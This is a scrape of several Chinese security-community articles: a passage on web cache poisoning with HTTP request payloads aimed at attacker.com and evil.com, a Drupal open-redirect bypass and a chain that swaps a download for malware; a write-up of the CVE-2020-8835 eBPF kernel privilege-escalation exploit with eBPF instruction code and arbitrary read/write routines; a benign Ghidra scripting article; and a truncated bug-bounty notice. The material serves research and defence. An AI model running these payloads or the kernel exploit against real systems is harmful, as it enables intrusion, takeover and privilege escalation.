Location: https://attacker.com/en
使用此技术，可以通过从自定义HTTP请求头中重定向POST请求来窃取CSRF
token。我还可以植入存储型DOM的XSS，其中包含对JSON加载的恶意响应，类似于前面提到的data.gov漏洞。
### Open Graph的劫持（Open Graph Hijacking）
在另一个站点上，未加密的输入专门影响Open Graph URL：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>
[Open
Graph](http://ogp.me/)是一种由Facebook创建的协议，允许网站所有者控制他们在社交媒体上分享的内容。我们劫持的og：url参数有效地覆盖了分享的URL，因此任何分享被投毒的页面的人实际上最终都会分享我们指定的内容。
您可能已经注意到，应用程序设置了'Cache-Control：private'，而Cloudflare拒绝缓存此类响应。幸运的是，网站上的其他页面明确启用了缓存：
GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS
这里的'CF-Cache-Status'协议头是Cloudflare正在考虑缓存此响应的指示，但尽管如此，响应从未实际缓存过。我推测Cloudflare拒绝缓存这个可能与session_id
cookie有关，并且使用该cookie重试：
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url"
content='https://attacker.com/…
最终我得到了缓存的响应，后来发现我可以跳过猜测并阅读[Cloudflare的缓存文档](https://blog.cloudflare.com/understanding-our-cache-and-the-web-cache-deception-attack/)。
尽管缓存响应，但“分享”结果仍然没有投毒;
Facebook显然没有达到我投毒特定Cloudflare缓存的要求。为了确定我需要投毒哪个缓存，我利用了所有Cloudflare站点上的一个有用的调试功能
- `/cdn-cgi/trace`：
在这里，`colo = AMS`行显示Facebook已经通过Amsterdam的缓存访问了waf.party。目标网站是通过
Atlanta访问的，所以我在那里租了2美元/月的VPS并再次尝试投毒：
在此之后，任何试图在其网站上共享各种页面的人最终都会分享我选择的内容。这是一个经过修改的攻击视频：
[视频链接](https://portswigger.net/cms/videos/49/7c/9ace115de5b2-opengraph.mp4)
### 本地路由投毒(Local Route Poisoning)
到目前为止，我们已经看到基于cookie的语言劫持，并且使用各种协议头的攻击去覆盖主机。在这一点的研究上，我还发现了一些使用奇怪的非标准协议头的变体，例如'translate'，'bucket'和'path_info'，并且我怀疑遗漏了许多其他协议头。在我通过下载并搜索GitHub上的前20,000个PHP项目以获取协议头名称来扩展协议头wordlist之后，我的下一个重大进展来了。
这揭示了协议头X-Original-URL和X-Rewrite-URL，它覆盖了请求的路径。我首先注意到的是它们会影响目标运行Drupal，并且通过挖掘Drupal的代码发现，对此协议头的支持来自流行的PHP框架Symfony，它又是从Zend获取的代码。最终结果是大量的PHP应用程序无意中支持这些头文件。在我们尝试使用这些协议头进行缓存投毒之前，我应该指出它们也非常适合绕过WAF和安全规则：
GET /admin HTTP/1.1
Host: unity.com
HTTP/1.1 403 Forbidden
...
Access is denied
GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin
HTTP/1.1 200 OK
...
Please log in
如果应用程序使用缓存，为了把协议头混淆到不正确的页面，则可能滥用这些协议头。例如，此请求的缓存键为`/education?x=y`，但从`/gambling?x=y`检索内容：
最终结果是，在发送此请求后，任何试图访问Unity for Education页面的人都会感到惊讶：
改变页面的能力相比比严重的危害更有趣点，但也许它在更大的利用链中占有一席之地。
### 内部缓存投毒（Internal Cache Poisoning）
Drupal通常与Varnish等第三方缓存一起使用，但它也包含默认启用的内部缓存。此缓存知道X-Original-URL协议头并将其包含在其缓存键中，但错误的是包含协议头中查询字符串：
虽然之前的攻击让我们用另一个路径替换路径，但这个能让我们覆盖上面的查询字符串：
GET /search/node?keys=kittens HTTP/1.1
HTTP/1.1 200 OK
…
Search results for 'snuff'
离希望更进一步，但它仍然非常有限 - 我们需要第三种方法。
### Drupal开启重定向（Drupal Open Redirect）
在阅读Drupal的 `URL-override`代码时，我注意到一个极其危险的功能 -在所有重定向响应中，您可以使用'destination'查询参数覆盖重定向目标。Drupal尝试进行一些URL解析以确保它不会重定向到外部域，但这很容易绕过：
GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
在Drupal的路径中看到了双斜杠//并试图向/发出重定向来规范化它，然后目标参数启动。Drupal认为目标URL告诉人们使用用户名`evil.net\`访问unity.com。但实际上，网络浏览器会在`evil.net/@unity.com`上自动将\转换为/，登陆用户。
再次强调，开启重定向本身并没啥作用，但现在我们终于拥有了构建高危漏洞的所有块。
### 持续重定向劫持（Persistent redirect hijacking）
我们可以将参数覆盖攻击与重定向结合起来，以持久地劫持任何重定向。Pinterest商业网站上的某些页面恰好通过重定向导入JavaScript。以下请求以蓝色显示缓存项，并以橙色显示参数：
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1
这劫持了JavaScript导入文件目的地，让我可以完全控制business.pinterest.com上几个静态页面：
GET /foo.js?v=1 HTTP/1.1
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
### 嵌套缓存投毒(Nested cache poisoning)
其他Drupal站点不那么乐于助人，也不会通过重定向导入任何重要的资源。幸运的是，如果站点使用外部缓存（几乎所有高流量的Drupal站点），我们可以使用内部缓存来投毒外部缓存，并在此过程中将任何响应转换为重定向。这是一个两阶段的攻击。首先，我们使用恶意重定向来投毒内部缓存以替换
`/redir`：
GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
接下来，我们使用我们的预投毒`/redir`来投毒外部缓存以替换`/download?v=1`：
GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
最终结果是在unity.com上点击“下载安装程序”会从evil.net下载一些欺骗性恶意软件。此技术还可用于大量其他攻击，包括将欺骗性项目插入RSS源，使用网络钓鱼页替换登录页，以及通过动态脚本导入存储XSS。
这是一个关于Drupal安装的此类攻击的视频：
[视频链接](https://portswigger.net/cms/videos/5b/fe/e952b9f0eb55-drupaldemo.mp4)
该漏洞已于2018-05-29向Drupal，Symfony和Zend团队披露，并且在希望您阅读本文时，通过协调补丁发布来禁用这些漏洞。
## 跨云投毒(Cross-Cloud Poisoning)
正如您可能已经猜到的，一些漏洞报告引发了有趣的反应和响应。
使用CVSS对我的提交的报告进行评分的一个分析者，标记对CloudFront缓存投毒报告的实现难度为“high”，因为攻击者可能需要租用几个VPS才能毒害所有CloudFront的缓存。我抵制是否给定为“high”难度的争论，我把这作为一个机会，探讨是否可以在不依赖VPS的情况下进行跨区域攻击。
事实证明，CloudFront有一个有用的缓存地图，可以使用从一系列地理位置发出[免费在线服务](https://www.nexcess.net/resources/tools/global-dns-checker/?h=catalog.data.gov&t=A) DNS查询以轻松识别IP地址。在舒适的卧室中使特定区域中毒就像使用curl
/Burp的主机名覆盖功能将攻击定位到其中一个IP一样简单。
由于Cloudflare有更多的区域缓存，我决定也看看它们。Cloudflare在线发布所有IP地址列表，因此我编写了一个快速脚本，通过每个IP请求`waf.party/cgn-cgi/trace`并记录我点击的缓存：
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'
这表明，当针对waf.party（在爱尔兰）时，我可以从曼彻斯特的家中点击以下缓存：
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS
172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP
172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
## 防御（Defense）
针对缓存投毒的最强大防御是禁用缓存。对于一些人来说，这显然是不切实际的建议，但我怀疑很多网站开始使用Cloudflare等服务进行DDoS保护或简易SSL，并且最终容易受到缓存投毒的影响，因为默认情况下启用了缓存。
如果您对定义为“静态”的内容足够谨慎，那么将缓存限制为纯静态响应也是有效的。
同样，避免从头文件和cookie中获取输入是防止缓存投毒的有效方法，但很难知道其他层和框架是否在偷偷支持额外的头文件。因此，我建议使用`Param
Miner`审核应用程序的每个页面以清除未加密的输入。
一旦在应用程序中识别出未加密的输入，理想的解决方案就是彻底禁用它们。如果不这样做，您可以剥离缓存层的输入，或将它们添加到缓存键。某些缓存允许您使用[Vary协议头](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary)来键入未加密的输入，而其他缓存允许您定义自定义缓存键，但可能会将此功能限制为“企业”客户。
最后，无论您的应用程序是否具有缓存，您的某些客户端可能在其末端都有缓存，因此不应忽略HTTP协议头中的XSS等客户端漏洞。
## 结论（Conclusion）
Web缓存投毒不只是理论上的漏洞，臃肿的应用程序和高耸的服务器堆栈正在将它带到大众。我们已经看到，即使是著名的框架也可能隐藏无所不在的危险，从而证实，假设其他人只是因为它是开源的并且拥有数百万用户而阅读了源代码，这绝不是安全的。我们还看到如何在网站放置缓存可以将其从完全安全变到极易受到攻击。我认为这是一个更大趋势的一部分，随着网站越来越依赖于辅助系统，他们的安全状况越来越难以单独进行充分评估。
最后，我为人们测试他们的知识构建了一个[小挑战](https://hackxor.net/mission?id=8)，并期待看到其他研究人员将来会在哪里采取网络缓存投毒。 | 社区文章 |
### 前言
该漏洞分析和利用思路作者已经公开，并且也有大佬公开了利用（见参考链接），所以本文就不再对漏洞原理进行分析，主要是对通过任意读写来提权的思路进行补充和分析。
环境和exp在附件中，内核版本下载：<https://github.com/torvalds/linux/archive/v5.5.tar.gz>
### 越界读写进行信息泄露
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);
key_size：表示索引的大小范围，key_size=sizeof(int)=4.
value_size：表示map数组每个元素的大小范围，可以任意，只要控制在一个合理的范围
max_entries：表示map数组的大小，编写利用时将其设为1
#### 泄露内核地址
bpf_create_fd 创建的是一整个bpf_array结构，我们传入的数据放在value[] 处
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}
value[]在bpf_array整个结构的偏移为0x110，所以*(&map-0x110)为bpf_map的结构地址
struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
bpf_map 有一个const struct bpf_map_ops *ops; 字段，当我们创建的map是BPF_MAP_TYPE_ARRAY
的时候保存的是array_map_ops, array_map_ops 是一个全局变量，可以用于泄露内核地址
#### 泄露map_elem地址
&exp_elem[0]-0x110+0xc0（wait_list）处保存着指向自身的地址，用于泄露exp_elem的地址
(gdb) p/x &(*(struct bpf_array *)0x0)->map.freeze_mutex.wait_list
$9 = 0xc0
### 利用任意读
通过BPF_OBJ_GET_INFO_BY_FD 命令进行任意读，BPF_OBJ_GET_INFO_BY_FD
会调用bpf_obj_get_info_by_fd：
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
#define BPF_OBJ_GET_INFO_BY_FD_LAST_FIELD info.info
static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
int ufd = attr->info.bpf_fd;
struct fd f;
int err;
if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
return -EINVAL;
f = fdget(ufd);
if (!f.file)
return -EBADFD;
if (f.file->f_op == &bpf_prog_fops)
err = bpf_prog_get_info_by_fd(f.file->private_data, attr,
uattr);
else if (f.file->f_op == &bpf_map_fops)
err = bpf_map_get_info_by_fd(f.file->private_data, attr,
uattr);
……
之后调用bpf_map_get_info_by_fd：
static int bpf_map_get_info_by_fd(struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info = {};
u32 info_len = attr->info.info_len;
int err;
err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
if (err)
return err;
info_len = min_t(u32, sizeof(info), info_len);
info.type = map->map_type;
info.id = map->id;
info.key_size = map->key_size;
info.value_size = map->value_size;
info.max_entries = map->max_entries;
info.map_flags = map->map_flags;
memcpy(info.name, map->name, sizeof(map->name));
if (map->btf) {
info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读，获得btf_id，在btf结构偏移0x58处
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_info_fill(&info, map);
if (err)
return err;
}
if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中，泄露信息
put_user(info_len, &uattr->info.info_len))
return -EFAULT;
return 0;
}
u32 btf_id(const struct btf *btf)
{
return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id #获取id在btf结构中的偏移
$56 = 0x58
(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id #获取btf_id在bpf_map_info中偏移
$57 = 0x40
所以只需要修改map->btf为target_addr-0x58，就可以泄露到用户态info中，泄漏的信息在struct bpf_map_info
结构偏移0x40处，由于是u32类型，所以只能泄露4个字节。
利用代码如下：
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x100,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *)info+0x40);
}
### 查找task_struct
ksymtab 保存init_pid_ns结构的偏移，init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串
(gdb) p &__ksymtab_init_pid_ns
$48 = (<data variable, no debug info> *) 0xffffffff822f2578
(gdb) x/2wx 0xffffffff822f2578
0xffffffff822f2578: 0x001527c8 0x0000a1f9
(gdb) x/10s 0xffffffff822f257c+0xa1f9
0xffffffff822fc775 <__kstrtab_init_pid_ns>: "init_pid_ns"
0xffffffff822fc781 <__kstrtabns_kernel_param_unlock>: ""
(gdb) x/10gx 0xffffffff822f2578+0x001527c8
0xffffffff82444d40 <init_pid_ns>: 0x0000000000000002 0x0080000400000000
0xffffffff82444d50 <init_pid_ns+16>: 0xffff88801e469242 0x0000006f00000000
所以我们通过搜索"init_pid_ns" 字符串可以得到 **kstrtab_init_pid_ns的地址，之后再通过搜索匹配
地址+该地址上四个字节（表示偏移）是否等于** kstrtab_init_pid_ns的地址 来判断是否为
**ksymtab_init_pid_ns，此时找到的地址为** ksymtab_init_pid_ns+4， 减去4就是
**ksymtab_init_pid_ns，上面有init_pid_ns结构的偏移，与**
ksymtab_init_pid_ns地址相加就可以得到init_pid_ns结构的地址。
之后通过pid 和
init_pid_ns查找对应pid的task_struct，这里其实就是要理清内核的查找过程，在写利用的时候模拟走一遍。最后找到task_struct中cred位置。
内核是通过find_task_by_pid_ns函数实现查找过程的：
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
"find_task_by_pid_ns() needs rcu_read_lock() protection");
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}
nr 为当前进程的pid，ns 为init_pid_ns结构地址，我们需要的是idr字段的内容
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr);
}
lib/idr.c：
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}
需要获取&idr->idr_rt 和 idr->idr_base
lib/radix-tree.c：
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(root, index, NULL, NULL);
}
void *__radix_tree_lookup(const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void __rcu ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void __rcu **slot;
restart:
parent = NULL;
slot = (void __rcu **)&root->xa_head;
radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
offset = radix_tree_descend(parent, &node, index); //循环查找当前进程的node
slot = parent->slots + offset; //
if (node == RADIX_TREE_RETRY)
goto restart;
if (parent->shift == 0) // 当shift为0时，退出，说明找到当前进程的node
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
重点看radix_tree_descend函数实现：
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK; // 要读取parent->shift的值，并与0x3f 与计算
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]); // 获取parent->slots[offset] 作为下一个node
*nodep = (void *)entry; //
return offset; //
}
radix_tree_node的结构如下：
#define radix_tree_node xa_node
struct xa_node {
unsigned char shift; /* Bits remaining in each slot */
unsigned char offset; /* Slot offset in parent */
unsigned char count; /* Total entry count */
unsigned char nr_values; /* Value entry count */
struct xa_node __rcu *parent; /* NULL at top of tree */
struct xarray *array; /* The array we belong to */
union {
struct list_head private_list; /* For tree user */
struct rcu_head rcu_head; /* Used when freeing node */
};
void __rcu *slots[XA_CHUNK_SIZE];
union {
unsigned long tags[XA_MAX_MARKS][XA_MARK_LONGS];
unsigned long marks[XA_MAX_MARKS][XA_MARK_LONGS];
};
};
获得当前进程的node后就可以通过pid_task获取相应的task_struct：
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
type 为PIDTYPE_PID， 值为0
#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), //获取&pid->tasks[0] 的内容
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址，由此获得task_struct的起始地址
}
return result;
}
相关结构字段的偏移：
(gdb) p/x &(*(struct task_struct *)0)->pid_links[0]
$8 = 0x500
(gdb) p/x &(*(struct pid*)0x0)->tasks[0]
$10 = 0x8
### 利用任意写
在exp_elem上填充伪造的array_map_ops，伪造的array_map_ops中将map_push_elem
填充为map_get_next_key ，这样调用map_push_elem时就会调用map_get_next_key
，并将&exp_elem[0]的地址覆盖到exp_map[0]，同时要修改 map 的一些字段绕过一些检查
spin_lock_off = 0
max_entries = 0xffff ffff
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时，map_update_elem 会调用map_push_elem
最后调用bpf_update_elem任意写内存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
->array_map_get_next_key
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
map_push_elem 的参数是value 和 uattr 的 flags, 分别对应array_map_get_next_key 的 key 和
next_key 参数，之后有index = value[0]，next = flags ， 最终效果是 *flags =
value[0]+1，这里index 和 next 都是 u32 类型， 所以可以任意地址写 4个byte。
### 总结
执行的bpf_insn注释：
* r6 保存ctrl_elem的地址，r7保存exp_elem的地址，r8为偏移
* ctrl_map 保存输入的偏移，泄露的地址，以及执行覆盖伪造的array_map_ops操作
* exp_map 保存伪造的array_map_ops
struct bpf_insn my_prog[] = {
//-------- ctrl_mapfd
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd),
BPF_MAP_GET(0,BPF_REG_8),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), /* r_dst = (r0) */
BPF_LD_IMM64(BPF_REG_2,0x4000000000),
BPF_LD_IMM64(BPF_REG_3,0x2000000000),
BPF_LD_IMM64(BPF_REG_4,0xFFFFffff),
BPF_LD_IMM64(BPF_REG_5,0x1),
BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5),
BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4),
BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3),
BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2),
BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4),
BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
//-------- exp_mapfd
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd),
BPF_MAP_GET_ADDR(0,BPF_REG_7),
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-0x110
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0), // r7 = &exp_elem[0]-0x110 , 获得array_map_ops的地址
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // leak *(&exp_elem[0]-0x110)
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // leak *(&exp_elem[0]-0x110+0xc0) wait_list
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), //泄露 wait_list保存的地址，该地址指向自身，所以此处用于泄露exp_map的地址
BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // r0 = &exp_map[0]，计算前r0和r7的值相同，但为什么用r0计算，因为r0是map中的数据，而r7是指针，不能往map中写指针
// &ctrl[0]+0x8 -> op
BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8), // r8 = op
BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), // r7=&exp_elem[0]-0x110，即&exp_map[0]
BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
所以利用的整体思路是：
1. 通过漏洞，使得传进来的偏移r8检查时为0，而实际为0x110
2. 将&exp_elem[0]-0x110，获得exp_map的地址，exp_map[0] 保存着array_map_ops的地址，可以用于泄露内核地址
3. &exp_elem[0]-0x110+0xc0（wait_list）处保存着指向自身的地址，用于泄露exp_elem的地址
4. 利用任意读查找init_pid_ns结构地址
5. 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
6. 在exp_elem上填充伪造的array_map_ops
7. 修改 map 的一些字段绕过一些检查
8. 调用 bpf_update_elem任意写内存
9. 修改进程task_struct 的cred进行提权。
### 提权效果图
补充：
针对单核机器，可以通过per_cpu_offset +
current_task来查找当前进程的task_struct，通过任意读获取task_struct的comm字段，匹配是否为你运行的进程。
该方法适用于单核机器，并且有一定概率会crash。
提权效果如下：
见附件current.zip
### 参考链接
<https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification>
<https://www.anquanke.com/post/id/203416>
<https://github.com/rtfingc/cve-repo/tree/master/0x04-pwn2own-ebpf-jmp32-cve-2020-8835>
<https://biscuitos.github.io/blog/RADIX-TREE___radix_tree_lookup/>
<http://sourcelink.top/2019/09/26/linux-kernel-radix-tree-analysis/> | 社区文章 |
**作者：姜若芾@平安银河安全实验室
公众号：<https://mp.weixin.qq.com/s/zluEXsK3PkwnnoHyyCHQkg>**
### 背景
之前在[《使用IDA Pro的REobjc模块逆向Objective-C二进制文件》](https://paper.seebug.org/887/
"《使用IDA Pro的REobjc模块逆向Objective-C二进制文件》")一文中，我们提到了在使用IDA
Pro分析iOS应用的过程中，由于Objective-C语言的动态特性，大部分的方法调用都是通过调用`_objc_msgSend`方法加上实际调用方法名作为参数的方式进行，以至于在IDA
Pro分析完成后，在交叉引用列表中缺失了许多原本应该存在的引用记录。
DUO Labs的Todd Manning开发了一款IDA
Pro的脚本，可以帮助逆向研究者更全面地获取交叉引用的信息。可惜的是，这款脚本仅面向x64平台，所以如果我们分析的是iOS应用，这款工具只能补全针对模拟器编译的应用包，对于实际情况下的逆向工作还是有许多的限制。
在今年三月份举办的2019年RSA大会上，美国国家安全局（NSA）公开介绍并演示了一款名为Ghidra的逆向工程框架，并且将Ghidra作为开源工具开放给了大众使用。由于其为java编写的特点，所以可以跨平台使用，并且支持多种CPU架构。Ghidra可以对主流操作系统的二进制文件进行分析，包括Android和iOS。同时，用户可以使用开放的API接口开发自己的Ghidra插件组件或脚本。对于这样一款功能强大并且是开源的逆向工具，我们也第一时间将其使用到了日常逆向工作中。
### 初步分析
我们搭建了一个iOS的测试工程，选择真机设备进行编译，使其编译后的应用包为arm64的CPU架构，然后拖入Ghidra和IDA Pro进行分析。
我们创建了一个名为Lion的类，在其中创建一个名为lionFirstMethod的方法。然后在
ViewController类的method1方法中使用[lion
lionFirstMethod]的方式进行调用。同时，我们在Lion类的`lionSecondMethodWithArg1:
andArg2:`方法中使用同样的方式进行调用。通过之前的研究我们可以知道，这些方法调用实际上都是通过`_objc_msgSend`的方式进行调用。我们在IDA
Pro和Ghidra中针对lionFirstMethod及其交叉引用信息进行分析，结果发现：
在IDA Pro中，仅分析出了`lionSecondMethodWithArg1: andArg2:`方法中的调用。
在Ghidra中，不仅分析出了`lionSecondMethodWithArg1:
andArg2:`方法中的调用，而且还分析出了另外一处method1中的调用。
这不禁引起了我们的注意和兴趣，经过分析我们发现，Ghidra解析出了测试工程中大部分的`_objc_msgSend`调用，而IDA Pro只解析出了一部分。
### 解析_objc_msgSend
对于逆向工程来说，准确并全面的交叉引用信息尤为重要，它可以帮助我们分析某个关键函数在二进制文件中是否被调用以及如何被调用。基于这点，我们开始研究在Ghidra中编写Python脚本来分析所有的`_objc_msgSend`方法，试图解析出实际调用的类和方法名。
首先我们需要找出`_objc_msgSend`，于是我们遍历可执行文件中所有的方法，在每个方法中遍历arm指令，如果遇到bl指令，判断其是否是`_objc_msgSend`。由于在bl指令调用`_objc_msgSend`方法前，处理器会读取内存数据，向寄存器中写入类、方法名和参数信息，所以如果是`_objc_msgSend`，我们就可以按地址往前寻找ldr指令。
上面是一个非常简单的例子，这里可以看到，程序在地址0x100006134处调用了`_objc_msgSend`，而此处实际调用的方法是[Lion
alloc]。我们按地址往前寻找，可以看到在0x100006128和0x10000612c处都使用了ldr指令从内存中读取了数据写入了寄存器。根据arm的ABI文档，我们可以知道，在函数调用时，前几个寄存器会被用来存放函数的参数。所以对于没有参数的[Lion
alloc]来说，Lion和alloc便是`_objc_msgSend`函数的两个参数，我们也可以在arm指令中看出，在bl指令调用`_objc_msgSend`之前，指向类Lion和方法alloc的引用分别被写入了X0和X1寄存器。
在找到ldr指令后，我们可以分析ldr指令对应的操作数，如果对应到的是一个引用，就可以提取其引用信息。通过递归跟踪其引用地址，可以分析出其最终指向的内容。如果指向的内容是类名，那我们就找到了此次`_objc_msgSend`调用对应的类信息，如果指向的内容是方法名，那我们就找到了此次`_objc_msgSend`调用对应的方法信息。以此，我们就可以拼凑出该`_objc_msgSend`对应的实际方法调用。
### 完善脚本
在编写脚本的过程中，我们发现，ldr指令中对应的操作数，其最终指向的内容多为`__objc_methname`和`__objc_classname`段中的数据。因此，我们在真正开始分析之前，先要解析这两个段中的数据并保存起来，以便解析`_objc_msgSend`的时候可以快速地对映到相关类名和方法名。
此外，由于Ghidra在初始分析完成之后，交叉引用信息已经比较完善，并且在大部分的`_objc_msgSend`调用处都已经添加了对应分析完成的注释，所以我们可以将这两类信息一并加以分析并辅助我们的分析结果。
脚本编写完成后可以发现，通过脚本解析的`_objc_msgSend`的类名和方法名与Ghidra分析的类名和方法名一致。
此外，由于Objective-C动态的特性，有一些诸如”performSelector”这样的反射方法。我们编写脚本的时候也考虑到了这个特点，如果分析得到的方法名为performSelector，我们会追加分析其参数，以便解析出真正的调用方法。
在脚本编写完成后，我们尝试在测试工程中运行脚本。共解析出93处交叉引用，其中通过脚本补全了其中的18处。相同的测试工程在IDA
Pro分析后仅解析出交叉引用共14处。
目前该脚本已经在Github上开源：[https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/AnalyzeOCMsgSend.py](http://galaxylab.com.cn/go/?url=https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/AnalyzeOCMsgSend.py)
参考：[http://galaxylab.com.cn/%e4%bd%bf%e7%94%a8ida-pro%e7%9a%84reobjc%e6%a8%a1%e5%9d%97%e9%80%86%e5%90%91objective-c%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%96%87%e4%bb%b6/](http://galaxylab.com.cn/使用ida-pro的reobjc模块逆向objective-c二进制文件/)
* * * | 社区文章 |
亲爱的白帽子们
还记得8-10月份我们组织的移动互联网客户专场众测活动吗？第一名的安全公司有5万奖励，第一名的白帽子有3万奖励那个。
